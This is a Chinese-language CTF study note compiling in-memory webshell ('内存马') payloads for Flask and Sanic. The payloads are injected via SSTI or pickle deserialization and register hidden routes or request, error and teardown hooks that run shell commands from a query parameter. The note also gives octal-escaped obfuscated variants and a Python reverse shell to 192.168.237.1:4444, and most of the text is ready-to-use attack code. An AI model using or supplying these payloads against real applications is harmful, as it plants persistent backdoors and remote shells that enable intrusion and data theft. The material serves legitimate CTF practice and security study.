打ctf的时候遇到很多flask打ssti,遇到没有回显时,往往除了覆盖加盲注就不知道怎么弄了,今天来学习下其他师傅发现的内存马。记录一下当作笔记。
低版本内存马
在flask中,没有定义的路由会返回404的,因此内存马最初是通过动态注册路由来实现的。
1
| {{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
|
1
| name={{x.__init__.__globals__.__getitem__('__builtins__').__getitem__('exec')("setattr(__import__('sys').modules.__getitem__('__main__').__dict__.__getitem__('app'),'_got_first_request',False);__import__('sys').modules.__getitem__('__main__').__dict__.__getitem__('app').add_url_rule('/shell', 'shell', lambda: '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read()))")}}
|
新版本内存马
add_url_rule 绕过
首先构造第一条请求向 url_map
中新增一条 UrlRule
1
| url_for.__globals__['__builtins__']['eval']( "app.url_map.add( app.url_rule_class('/shell', methods=['GET'], endpoint='shell') )", { 'app':url_for.__globals__['current_app'] } )
|
此时访问 /shell 不会报 404 了,也就是说我们成功将 “/shell” 添加到了路由表,但是由于并未添加 view_function[endpoint]
,会报 KeyError 错误,然后构造第二条请求向 view_function
中添加对应 endpoint
的实现
1
| url_for.__globals__['__builtins__']['eval']( "app.view_functions.update( { 'shell': lambda:__import__('os').popen( app.request_context.__globals__['request_ctx'].request.args.get('cmd', 'whoami') ).read() } )", { 'app':url_for.__globals__['current_app'] } )
|
before_request
先来看一下这个装饰器的实现
1 2 3 4 5 6 7 8
| @setupmethod def before_request(self, f: BeforeRequestCallable) -> BeforeRequestCallable: """ 在每次请求之前,调用自定义的函数f """ self.before_request_funcs.setdefault(None, []).append(f) return f
|
这里,如果 None 键不存在,就初始化为一个空列表。如果存在传入的函数 f,则通过调用before_request_funcs.setdefault(None, []).append(f)
函数把自定义函数f添加到before_request_funcs 字典中,在每次请求处理之前调用这个函,所以如果我们如果注入进去一个函数,就会在每次请求的时候就会调用我们注入的函数。
1
| eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda: '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read()")
|
after_request
after_request
装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,区别在,这里的函数需要接收一个response对象,同时返回一个response对象
1 2 3 4 5 6 7 8 9 10 11
| @setupmethod def after_request(self, f: AfterRequestCallable) -> AfterRequestCallable: """注册一个函数,在每次请求后运行。
该函数会接收响应对象,并必须返回一个响应对象。这允许函数在发送响应之前修改或替换响应。
如果一个函数引发异常,则任何剩余的 ``after_request`` 函数将不会被调用。因此,这不应用于必须执行的操作,例如关闭资源。请使用 :meth:`teardown_request` 来处理此类操作。 """ self.after_request_funcs.setdefault(None, []).append(f) return f
|
和before_request很像,不过lambda无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response。
1 2 3 4 5 6 7 8
| lambda resp: CmdResp if request.args.get('cmd') and exec(' global CmdResp; #定义一个全局变量,方便获取 CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) #创建一个响应对象 ')==None else resp)
|
ssti
1
| {{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}&cmd=whoami
|
endpoint
在 Flask 中,**endpoint
** 是路由系统中的一个非常重要的概念,它代表了每个注册的 URL 路由的名称或标识符。endpoint
通过 Flask 的路由系统将 URL 和视图函数关联起来,可以用来构建 URL 或在应用程序的某些部分引用特定的视图函数。Flask 在为视图函数注册 URL 路由时,会自动将视图函数的名字作为该路由的 endpoint
1 2 3 4 5 6 7 8 9 10 11
| {{ url_for.__globals__['__builtins__']['exec']( " app.backup_func=app.view_functions['hello_endpoint']; app.view_functions['hello_endpoint']=lambda : __import__('os').popen(reques t.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func() ", {'request':url_for.__globals__['request'], 'app':url_for.__globals__['curre nt_app']}) }} app.view_functions['hello_endpoint']=lambda : __import__('os').popen(reques t.args.get(request.args.get('cmd'))).read()
|
errorhandler
这个函数可以用于自定义404页面的回显
1
| exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")
|
teardown_request
1 2 3 4 5
| @setupmethod def teardown_request(self, f: TeardownCallable) -> TeardownCallable: self.teardown_request_funcs.setdefault(None, []).append(f) return f
|
teardown_request
装饰器在每次请求处理之后调用,同样可以接收一个自定义函数f,在后台运行,没有回显,可以写文件,出网反弹shell
1
| {{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())")}}&cmd=echo 11111 > 1.txt
|
teardown_appcontext
1 2 3 4 5
| @setupmethod def teardown_appcontext(self, f: TeardownCallable) -> TeardownCallable: self.teardown_appcontext_funcs.append(f) return f
|
不能接收get动态传参,可以写文件,出网反弹shell
1 2
| {{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 2222 > 1.txt').read())")}}
|
url_value_preprocessor
1 2 3 4 5 6 7
| {{ url_for.__globals__['__builtins__']['eval']( " app.url_value_preprocessors[None].append(lambda ep, args : __import__('os') .popen(request.args.get('cmd')) if 'cmd' in request.args.keys() else None) ", {'request':url_for.__globals__['request'], 'app':url_for.__globals__['curre nt_app']}) }}
|
context_processor
先用下面的 payload 将 os.popen(...).read()
的返回值赋给 cmd
1
| url_for.__globals__['__builtins__']['eval']( "app.template_context_processors[None].append( lambda : { 'cmd': __import__('os').popen(request.args.get('cmd', 'whoami')).read() } )", { 'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app'] } )
|
之后用 ssti {{cmd}}
就能获取命令回显
sanic框架内存马
add_route
1
| app.add_route(lambda request: __import__("os").popen(request.args.get("cmd")).read(),"/shell", methods=["GET"])
|
exception
1
| app.exception(Exception)(lambda request, exception: __import__("sanic").response.text(__import__("os").popen(request.args.get("cmd")).read()))
|
抄来的姿势
无字母内存马
- flask可以使用
['']
替换.
,来访问对象属性,例如:''.__class__
,''['__class__']
- flask可以解析引号里的进制,例如十六进制,八进制,十进制
- flask可以使用
__import__
来导入模块,例如:__import__('os')
原payload
1 2
| ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['exec']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")
|
无字母payload
1 2
| ''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\170\145\143']("\163\171\163.\155\157\144\165\154\145\163['\137\137\155\141\151\156\137\137'].\137\137\144\151\143\164\137\137['\141\160\160'].\142\145\146\157\162\145\137\162\145\161\165\145\163\164\137\146\165\156\143\163.\163\145\164\144\145\146\141\165\154\164(\116\157\156\145, []).\141\160\160\145\156\144(\154\141\155\142\144\141: \137\137\151\155\160\157\162\164\137\137('\157\163').\160\157\160\145\156(\137\137\151\155\160\157\162\164\137\137('\146\154\141\163\153').\162\145\161\165\145\163\164.\141\162\147\163.\147\145\164('\141')).\162\145\141\144())")
|
无字母弹shell
原payload
1 2
| ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen']('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("192.168.237.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')['read']()
|
无字母payload
1
| ''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\160\171\164\150\157\1563 -\143 \'\151\155\160\157\162\164 \157\163,\160\164\171,\163\157\143\153\145\164;\163=\163\157\143\153\145\164.\163\157\143\153\145\164();\163.\143\157\156\156\145\143\164(("192.168.237.1",4444));[\157\163.\144\165\1602(\163.\146\151\154\145\156\157(),\146)\146\157\162 \146 \151\156(0,1,2)];\160\164\171.\163\160\141\167\156("\163\150")\'')['\162\145\141\144']()
|
通过 Undefined 拿 globals
ssti 用一个模板上下文不存在的变量作起点时,例如 {{aaa.__init__}}
,可以拿到一个 <bound method Undefined.__init__ of Undefined>
然后可以获取到globals{{aaa.__init__.__globals__}}
获取 flask.request 对象
flask<2.3.0 时,可以用 url_for.__globals__.get('_request_ctx_stack')
拿到堆栈
flask>=2.3.0 时,可以用 url_for.__globals__['current_app'].request_context.__globals__['request_ctx']
拿到堆栈
上面这两种拿法都是获取 RequestContext 对象,然后用 RequestContext.request
的方式来获取 request
可以直接用 url_for.__globals__['request']
来获取request对象
pickle反序列化打内存马
before_request
1 2 3 4 5 6 7 8 9 10
| import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",))
a = A() b = pickle.dumps(a) print(base64.b64encode(b))
|
after_request
1 2 3 4 5 6 7 8 9 10
| import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'gxngxngxn\')).read())\")==None else resp)",))
a = A() b = pickle.dumps(a) print(base64.b64encode(b))
|
errorhandler
1 2 3 4 5 6 7 8 9 10
| import os import pickle import base64 class A(): def __reduce__(self): return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))
a = A() b = pickle.dumps(a) print(base64.b64encode(b))
|
以上payload来自以下文章:
https://www.cnblogs.com/gxngxngxn/p/18181936
https://the0n3.top/pages/77dbc1/
https://asal1n.github.io/2024/10/18/python%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&&%E5%86%85%E5%AD%98%E9%A9%AC/
https://www.caterpie771.cn/2024/09/27/flask-%E5%86%85%E5%AD%98%E9%A9%AC/